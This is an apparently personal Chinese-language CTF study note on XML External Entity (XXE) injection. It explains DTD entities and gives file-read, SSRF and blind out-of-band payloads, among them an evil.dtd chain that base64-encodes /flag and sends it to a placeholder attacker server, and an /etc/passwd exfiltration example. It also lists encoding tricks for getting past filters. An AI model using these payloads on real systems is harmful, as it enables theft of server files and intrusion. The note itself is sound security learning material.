Preparation

XXE:XML External Entity Injection, XML外部实体注入

<?xml version="1.0"? encoding="utf-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

encoding

xml可以采取不同编码,定义在encoding中,对于绕过一些bypass有帮助

  • 对于java应用可以使用utf-32be绕过!DOCTYPE过滤

其实这一行不写很多也认得出来是什么编码

DTD(Document Type Definition, 文档类型定义)

包含在<!DOCTYPE ... >

一般实体与元素

元素

  • <!ELEMENT 元素名称 类别>
  • <!ELEMENT 元素名称 (元素内容)>

元素用于声明xml元素,了解即可,可以引用实体

实体

  • <!ENTITY 实体名称 "实体的值">
  • <!ENTITY 实体名称 SYSTEM "URI/URL">

实体可以被引用&实体名称;

!! 实体不是什么抽象的概念,比如内建实体&lt;<,做过前端开发应该都见过,只是现在这里允许自定义实体

参数实体

上文介绍的是一般实体,现在对比介绍参数实体

<!DOCTYPE note [
    <!ENTITY % abc "233">
    <!ENTITY bcs "344">
]>
<user>&bcs</user>

上面的定义中,出现了两种实体,分别是一般实体和参数实体,参数实体的定义和一般实体比一般实体的定义多了一个百分号%

参数实体一般作为声名实体的参数存在,仅仅在DTD区使用

参数实体的引用需要使用百分号%,例如%abc;

注意:多数xml解释器不允许在内层实体中使用外部连接

# 错误示范
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">  
    <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
    %start;
    %send;
]>
# error:PEReferences forbidden in internal subset in Entity, line: 4 

Hack

主要还是利用一个外部实体引用这里,去访问任意链接,这样子去整花活

不同环境支持的协议是不同的,都可以尝试一下

  • http(s)
  • file
  • ftp
  • php
  • jar
  • gopher
  • data

File Read

xss最常见的就是打一个文件读取

<?xml version="1.0"?>
<!DOCTYPE aa[
    <!ENTITY file SYSTEM "file:///flag">
]>

<user><name>&file;</name><email>1</email><content>1</content></user>

file实体会被解释成/flag的内容,有回显的话就能从name里带出文件内容了

SSRF

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "http://......" >
]>
<foo>&xxe;</foo>

ssrf打肯能能打,但是自己没做到过相关的题目,这里先留空

Blind

没有回显就需要利用特性另想办法了外带数据了

  • payload
<?xml version="1.0"?>
<!DOCTYPE foo[
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
    <!ENTITY % remote SYSTEM "https://yourserver.cn/evil.dtd">
    %remote;
    %all;
    %send;
]>
  • evil.dtd
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://yoursserver.cn/%file;'>">

发生了什么?

一行一行解释

  1. 通过php伪协议读取了文件,并进行了base64编码
  2. 从远程读取evil.xml的内容保存为实体参数%remote;
  3. %remote;在当前位置展开,添加了实体参数%all;
  4. %all;在当前位置展开,添加实体参数&send;,因为是外部实体,不会被解释器阻止,evil.xml中的%file;被顺利解析,&#x25;被解析为%
  5. 调用实体&send;访问给定的url

注意:

  • 如果没有base64,获取的文件内容拼接后不符合url就会报错,有报错回显的话可以直接拿到文件内容
  • 一般使用远程加载外部实体,内部子集加载是不被允许的,这不是绝对的,也有存在允许内部子集加载的实现

bypass

  • 过滤!DOCTYPE 肯定要编码绕过了,具体还是尝试几种常见编码然后也结合具体题目环境 rctf的题,java环境下,utf-32be可以绕过上述的bypass
  • &#x2516进制实体编码绕过
  • base64(data协议)
  • utf-7
  • 混合编码绕过 在同一个文档里同时使用两种编码,从而迷惑 WAF,前提得xml解释器能自动切换编码
  • 空格

reference

参考资料

扩展阅读

相关赛题

  • RCTF2022: Ezbypass